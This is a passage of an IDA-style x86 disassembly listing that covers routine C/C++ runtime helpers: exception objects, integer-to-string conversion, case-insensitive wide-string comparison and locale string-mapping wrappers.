		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42653B	proc near		; DATA XREF: ___:off_427D10o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426557
		test	[esp+4+arg_0], 1
		jz	short loc_426551
		push	esi
		call	sub_41D3EF
		pop	ecx


loc_426551:				; CODE XREF: sub_42653B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42653B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426557	proc near		; CODE XREF: sub_42653B+3p
					; DATA XREF: ___:00428104o
		mov	dword ptr [ecx], offset	off_427D10
		jmp	sub_42639A
sub_426557	endp


; =============== S U B	R O U T	I N E =======================================



sub_426562	proc near		; CODE XREF: sub_4265D6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_4264F8
		mov	dword ptr [esi], offset	off_427CE4
		mov	eax, esi
		pop	esi
		retn	4
sub_426562	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; CODE XREF: sub_40D765+15p
					; sub_40D7BE+15p ...
		mov	eax, offset loc_426DE6
		call	sub_41D3D0
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426370
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264B0
		push	offset dword_428100
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D10
		call	sub_426842
		int	3		; Trap to Debugger
sub_42657A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265BE	proc near		; CODE XREF: sub_4265D6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_4264F8
		mov	dword ptr [esi], offset	off_427D10
		mov	eax, esi
		pop	esi
		retn	4
sub_4265BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4265D6	proc near		; DATA XREF: ___:00427CDCo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4264F8
		push	offset dword_428140
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426842
		int	3		; Trap to Debugger


loc_4265F4:				; DATA XREF: ___:00427D18o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4265BE
		push	offset dword_428100
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426842
		int	3		; Trap to Debugger


loc_426612:				; DATA XREF: ___:00427CECo
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426562
		push	offset dword_428058
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426842
		int	3		; Trap to Debugger
sub_4265D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426630	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426630	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426636	proc near		; CODE XREF: sub_40D0EB+5Ep
					; ___:00415727p ...
		jmp	near ptr 71AB1B7Bh
sub_426636	endp

; ---------------------------------------------------------------------------
		db 0DEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42663C	proc near		; CODE XREF: sub_41D03C+23p
					; sub_41D2E0+13p
		nop
		jmp	near ptr 2870000h
sub_42663C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426642	proc near		; CODE XREF: ___:0040B084p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426657
		cmp	[ebp+arg_0], 0
		jge	short loc_426657
		push	1
		push	0Ah
		jmp	short loc_42665C
; ---------------------------------------------------------------------------


loc_426657:				; CODE XREF: sub_426642+7j
					; sub_426642+Dj
		push	0
		push	[ebp+arg_8]


loc_42665C:				; CODE XREF: sub_426642+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42666F
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_426642	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42666F	proc near		; CODE XREF: sub_426642+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_426689
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_42668C
; ---------------------------------------------------------------------------


loc_426689:				; CODE XREF: sub_42666F+Dj
		mov	esi, [ebp+arg_0]


loc_42668C:				; CODE XREF: sub_42666F+18j
		mov	edi, ecx


loc_42668E:				; CODE XREF: sub_42666F+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4266AA
		add	bl, 57h
		jmp	short loc_4266AD
; ---------------------------------------------------------------------------


loc_4266AA:				; CODE XREF: sub_42666F+34j
		add	bl, 30h


loc_4266AD:				; CODE XREF: sub_42666F+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_42668E
		and	byte ptr [ecx],	0
		dec	ecx


loc_4266B8:				; CODE XREF: sub_42666F+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4266B8
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42666F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4266CB	proc near		; CODE XREF: sub_4175C4+E2p
					; sub_4175C4+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4D97D0, 0
		push	ebx
		jnz	short loc_426711
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4266DD:				; CODE XREF: sub_4266CB+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_4266EF
		cmp	bx, 41h
		jb	short loc_4266EF
		add	ebx, 20h


loc_4266EF:				; CODE XREF: sub_4266CB+19j
					; sub_4266CB+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426701
		cmp	ax, 41h
		jb	short loc_426701
		add	eax, 20h


loc_426701:				; CODE XREF: sub_4266CB+2Bj
					; sub_4266CB+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_426741
		cmp	bx, ax
		jz	short loc_4266DD
		jmp	short loc_426741
; ---------------------------------------------------------------------------


loc_426711:				; CODE XREF: sub_4266CB+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_42671B:				; CODE XREF: sub_4266CB+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_42687C
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_42687C
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_42673F
		cmp	bx, ax
		jz	short loc_42671B


loc_42673F:				; CODE XREF: sub_4266CB+6Dj
		pop	edi
		pop	esi


loc_426741:				; CODE XREF: sub_4266CB+3Dj
					; sub_4266CB+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4266CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_42674B	proc near		; CODE XREF: ___:00426763p
		mov	dword ptr [ecx], offset	off_427D30
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_42675F
		push	ecx
		call	sub_41BA31
		pop	ecx

locret_42675F:				; CODE XREF: sub_42674B+Bj
		retn
sub_42674B	endp

; ---------------------------------------------------------------------------


loc_426760:				; DATA XREF: ___:off_427D30o
		push	esi
		mov	esi, ecx
		call	sub_42674B
		test	byte ptr [esp+8], 1
		jz	short loc_426776
		push	esi
		call	sub_41D3EF
		pop	ecx


loc_426776:				; CODE XREF: ___:0042676Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_42677C:				; DATA XREF: ___:off_427D38o
		push	esi
		mov	esi, ecx
		call	sub_42681F
		test	byte ptr [esp+8], 1
		jz	short loc_426792
		push	esi
		call	sub_41D3EF
		pop	ecx


loc_426792:				; CODE XREF: ___:00426789j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_426798	proc near		; CODE XREF: sub_4263DE+1Dp
					; sub_4264B0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D38
		push	dword ptr [edi]
		call	sub_41B960
		inc	eax
		push	eax
		call	sub_41D735
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4267C7
		push	dword ptr [edi]
		push	eax
		call	sub_41C620
		pop	ecx
		pop	ecx


loc_4267C7:				; CODE XREF: sub_426798+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_426798	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267D5	proc near		; CODE XREF: sub_4264F8+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D38
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426812
		push	dword ptr [edi+4]
		call	sub_41B960
		inc	eax
		push	eax
		call	sub_41D735
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_426818
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C620
		pop	ecx
		pop	ecx
		jmp	short loc_426818
; ---------------------------------------------------------------------------


loc_426812:				; CODE XREF: sub_4267D5+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_426818:				; CODE XREF: sub_4267D5+2Ej
					; sub_4267D5+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4267D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42681F	proc near		; CODE XREF: sub_42639A+16j
					; ___:0042677Fp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D38
		jz	short locret_426834
		push	dword ptr [ecx+4]
		call	sub_41D3EF
		pop	ecx

locret_426834:				; CODE XREF: sub_42681F+Aj
		retn
sub_42681F	endp


; =============== S U B	R O U T	I N E =======================================



sub_426835	proc near		; DATA XREF: ___:00427D3Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426841
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426841:				; CODE XREF: sub_426835+5j
		retn
sub_426835	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426842	proc near		; CODE XREF: sub_426453+37p
					; sub_42657A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D58
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 26502C0h
		pop	edi
		pop	esi
		leave
		retn	8
sub_426842	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42687C	proc near		; CODE XREF: sub_4266CB+56p
					; sub_4266CB+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_42688E
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42688E:				; CODE XREF: sub_42687C+Bj
		cmp	dword_4D97D0, 0
		jnz	short loc_4268A8
		cmp	ax, 41h
		jb	short locret_4268EF
		cmp	ax, 5Ah
		ja	short locret_4268EF
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268A8:				; CODE XREF: sub_42687C+19j
		cmp	ax, 100h
		jnb	short loc_4268C2
		push	1
		push	eax
		call	sub_426B2A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4268C2
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268C2:				; CODE XREF: sub_42687C+30j
					; sub_42687C+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4D97D0
		call	sub_4268F1
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_4268EF
		mov	ax, [ebp+var_2]

locret_4268EF:				; CODE XREF: sub_42687C+1Fj
					; sub_42687C+25j ...
		leave
		retn
sub_42687C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268F1	proc near		; CODE XREF: sub_42687C+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D78
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4D9A24, esi
		jnz	short loc_426967
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427908
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_426945
		mov	dword_4D9A24, ebx
		jmp	short loc_426967
; ---------------------------------------------------------------------------


loc_426945:				; CODE XREF: sub_4268F1+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4C91BC
		push	edi
		push	esi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	loc_426AE6
		mov	dword_4D9A24, 2


loc_426967:				; CODE XREF: sub_4268F1+2Ej
					; sub_4268F1+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_42697C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426AFA
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_42697C:				; CODE XREF: sub_4268F1+79j
		mov	eax, dword_4D9A24
		cmp	eax, 1
		jnz	short loc_4269A3
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		jmp	loc_426AE8
; ---------------------------------------------------------------------------


loc_4269A3:				; CODE XREF: sub_4268F1+93j
		cmp	eax, 2
		jnz	loc_426AE6
		cmp	[ebp+arg_18], esi
		jnz	short loc_4269B9
		mov	eax, dword_4D97E0
		mov	[ebp+arg_18], eax


loc_4269B9:				; CODE XREF: sub_4268F1+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2831071h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426AE6
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_4269FF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_4269FF:				; CODE XREF: sub_4268F1+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426AE6
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2831071h
		nop
		test	eax, eax
		jz	loc_426AE6
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426AE6
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426A82
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426A82:				; CODE XREF: sub_4268F1+17Dj
		cmp	ebx, esi
		jz	short loc_426AE6
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_426AE6
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426AC0
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426AE2
		cmp	eax, edi
		jl	short loc_426AB1
		mov	eax, edi


loc_426AB1:				; CODE XREF: sub_4268F1+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BD70
		add	esp, 0Ch
		jmp	short loc_426AE2
; ---------------------------------------------------------------------------


loc_426AC0:				; CODE XREF: sub_4268F1+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426AC9
		push	esi
		push	esi
		jmp	short loc_426ACF
; ---------------------------------------------------------------------------


loc_426AC9:				; CODE XREF: sub_4268F1+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426ACF:				; CODE XREF: sub_4268F1+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 26F0000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426AE6


loc_426AE2:				; CODE XREF: sub_4268F1+1B8j
					; sub_4268F1+1CDj
		mov	eax, edi
		jmp	short loc_426AE8
; ---------------------------------------------------------------------------


loc_426AE6:				; CODE XREF: sub_4268F1+66j
					; sub_4268F1+B5j ...
		xor	eax, eax


loc_426AE8:				; CODE XREF: sub_4268F1+ADj
					; sub_4268F1+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426AFA	proc near		; CODE XREF: sub_4268F1+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426B19


loc_426B0A:				; CODE XREF: sub_426AFA+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426B19
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426B0A


loc_426B19:				; CODE XREF: sub_426AFA+Ej
					; sub_426AFA+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426B27
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426B27:				; CODE XREF: sub_426AFA+24j
		mov	eax, edx
		retn
sub_426AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426B2A	proc near		; CODE XREF: sub_42687C+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426B6A
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426B4E
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43A684
		mov	ax, [ecx+eax*2]
		jmp	short loc_426B71
; ---------------------------------------------------------------------------


loc_426B4E:				; CODE XREF: sub_426B2A+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426B7C
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426B6E


loc_426B6A:				; CODE XREF: sub_426B2A+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426B6E:				; CODE XREF: sub_426B2A+3Ej
		mov	eax, [ebp+var_4]


loc_426B71:				; CODE XREF: sub_426B2A+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426B2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426B7C	proc near		; CODE XREF: sub_426B2A+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D90
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4D9A28
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426BEB
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427908
		push	esi
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	short loc_426BC9
		mov	eax, esi
		jmp	short loc_426BE6
; ---------------------------------------------------------------------------


loc_426BC9:				; CODE XREF: sub_426B7C+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4C91BC
		push	esi
		push	edi
		call	near ptr 260082Ah
		nop
		test	eax, eax
		jz	loc_426D2D
		push	2
		pop	eax


loc_426BE6:				; CODE XREF: sub_426B7C+4Bj
		mov	dword_4D9A28, eax


loc_426BEB:				; CODE XREF: sub_426B7C+2Fj
		cmp	eax, 1
		jnz	short loc_426C07
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		jmp	loc_426D2F
; ---------------------------------------------------------------------------


loc_426C07:				; CODE XREF: sub_426B7C+72j
		cmp	eax, 2
		jnz	loc_426D2D
		cmp	[ebp+arg_10], edi
		jnz	short loc_426C1D
		mov	eax, dword_4D97E0
		mov	[ebp+arg_10], eax


loc_426C1D:				; CODE XREF: sub_426B7C+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2831071h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426D2D
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426C7B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426C7B:				; CODE XREF: sub_426B7C+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426D2D
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2831071h
		nop
		test	eax, eax
		jz	loc_426D2D
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426CD0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426CD0:				; CODE XREF: sub_426B7C+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426D2D
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426CE4
		mov	eax, dword_4D97D0


loc_426CE4:				; CODE XREF: sub_426B7C+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 260082Ah
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426D2D
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426D2D
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D400
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426D2F
; ---------------------------------------------------------------------------


loc_426D2D:				; CODE XREF: sub_426B7C+61j
					; sub_426B7C+8Ej ...
		xor	eax, eax


loc_426D2F:				; CODE XREF: sub_426B7C+86j
					; sub_426B7C+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426B7C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426D44	proc near		; DATA XREF: ___:00427F44o

; FUNCTION CHUNK AT 0040D75D SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D75D
sub_426D44	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426D62
		mov	ecx, [ebp+8]
		jmp	loc_40D75D
; ---------------------------------------------------------------------------

locret_426D62:				; CODE XREF: ___:00426D54j
		retn
; ---------------------------------------------------------------------------


loc_426D63:				; DATA XREF: sub_40D327o
		mov	eax, offset dword_427F18
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_40D75D
; ---------------------------------------------------------------------------


loc_426D78:				; DATA XREF: ___:00427F74o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D75D
; ---------------------------------------------------------------------------


loc_426D80:				; DATA XREF: sub_40D4C9o
		mov	eax, offset dword_427F48
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		align 4


loc_426D8C:				; DATA XREF: sub_40DA40o
		mov	eax, offset dword_427F78
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_42681F
; ---------------------------------------------------------------------------


loc_426D9E:				; DATA XREF: sub_4263DEo
		mov	eax, offset dword_427FD8
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D75D
; ---------------------------------------------------------------------------


loc_426DB0:				; DATA XREF: sub_426453o
		mov	eax, offset dword_428070
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_42681F
; ---------------------------------------------------------------------------


loc_426DC2:				; DATA XREF: sub_4264B0o
		mov	eax, offset dword_428094
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_42681F
; ---------------------------------------------------------------------------


loc_426DD4:				; DATA XREF: sub_4264F8o
		mov	eax, offset dword_4280B8
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D75D
; ---------------------------------------------------------------------------


